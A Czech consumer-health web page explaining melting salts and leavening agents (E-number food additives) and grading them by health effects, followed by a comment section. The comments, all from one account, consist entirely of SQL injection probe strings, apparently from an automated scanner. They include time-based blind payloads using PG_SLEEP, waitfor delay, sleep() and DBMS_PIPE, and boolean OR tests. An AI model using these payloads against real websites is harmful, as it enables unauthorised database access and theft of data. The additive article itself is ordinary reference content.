Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Tavicí soli a kypřící látky v potravinách

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 49

Tavicí soli se používají především při výrobě tavených sýrů, kypřicí látky jsou nezbytné například pro kypření těsta. Pouze nepatrné množství z nich má negativní účinky na lidský organismus.

Tavicí soli

 Mění přirozené vlastnosti proteinů, pomáhají stabilizovat bílkoviny a tuky. Používají se při výrobě tavených sýrů, protože zajišťují jejich lepší roztíratelnost.

Podle vlivu na lidské zdraví se dělí na:

- bezpečné a bez nežádoucích zdravotních účinků

  • E 331 - Citronany sodné

- zdraví neškodné tavicí soli jsou

  • E 339 - Fosforečnany sodné

- méně vhodné, které ale v běžném množství nemají na zdraví nepříznivý vliv

  • E 450 - Difosforečnany
  • E 452 - Polyfosforečnany ( sodný, draselný a vápenatý )

Tavicí soli se používají v skutečně přijatelném množství a nejsou pro lidský organismus nijak nebezpečné, i když už samotný jejich název u některých lidí může vzbuzovat obavy.

 

Kypřicí látky

Způsobují uvolňování různých plynů, nejčastěji oxidu uhličitého, které zvyšují objem těsta. Používají se tedy jako přísada do těsta a těstových směsí.

Vliv na lidské zdraví je různý a podle něj se rozdělují na:

- bezpečné a bez nežádoucích zdravotních účinků

E 336 - Vinany draselné

E 408 - Pekařské droždí

E 500 - Uhličitany sodné

E 500(i) - Uhličitan sodný

E 500(ii) - Hydrogenuhličitan sodný

E 500(iii) - Sekvikarbonát sodný

E 574 - Kyselina gluonová

E 575 - Glukonolakton

- zdraví neškodné

E 340(i) - Dihydrogenfosforečnan draselný

E 341 - Fosforečnany vápenaté

E 354 - L+- vinan vápenatý

E 516 - Síran vápenatý

E 517 - Síran amonný

E 521 - Síran sodnohlinitý

E 522 - Síran draselnohlinitý

E 523 - Síran amonnohlinitý

E 527 - Hydroxid amonný

E 541 - Fosforečnan sodnohlinitý

- méně vhodné, které ale v běžném množství nemají na zdraví nepříznivý vliv

E 450 - Difosforečnany

E 452 - Polyfosforečnany ( sodný, draselný a vápenatý )

E 501 - Uhličitany draselné

E 503 - Uhličitan amonný

- nebezpečné kypřící látky s výrazně škodlivými účinky

Používání těchto nebezpečných látek je v zemích EU zakázáno, ale mohou být součástí potravin vyrobených mimo Evropskou unii.

E 342 - Fosforečnany amonné

E 945 - Chlorpentanfluoretan

 

Většina kypřících látek je zdraví neškodná, například pekařské droždí zná pravděpodobně každý. Přidávání méně vhodných látek je regulováno přísnými předpisy a při konzumaci běžného množství potravin se žádné negativní účinky na lidské zdraví neprojevují. I tak je ale samozřejmě lepší potraviny s těmito látkami nekonzumovat.

Zpět na hlavní článek Éčka v potravinách.

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1%2527%2522

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

6DDS6GMJ')) OR 984=(SELECT 984 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

cFla8QJn') OR 206=(SELECT 206 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

VLL1QXN2' OR 724=(SELECT 724 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1)) OR 505=(SELECT 505 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5) OR 788=(SELECT 788 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5 OR 101=(SELECT 101 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

ZgK4QZdw'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2>(0+5+604-604) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2<(0+5+604-604) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3+604-604-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 2+604-604-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+290-290) or 'Jm9B6POf'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+290-290) or 'Jm9B6POf'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+290-290-1=0+0+0+1 or 'Jm9B6POf'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+290-290-1=0+0+0+1 or 'Jm9B6POf'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+832-832) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+832-832) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+832-832-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+832-832-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+50-50)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+50-50)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+50-50-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+50-50-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+136-136) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+136-136) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+136-136-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+136-136-1=0+0+0+1 --

Zdravotní kalkulačka

:
: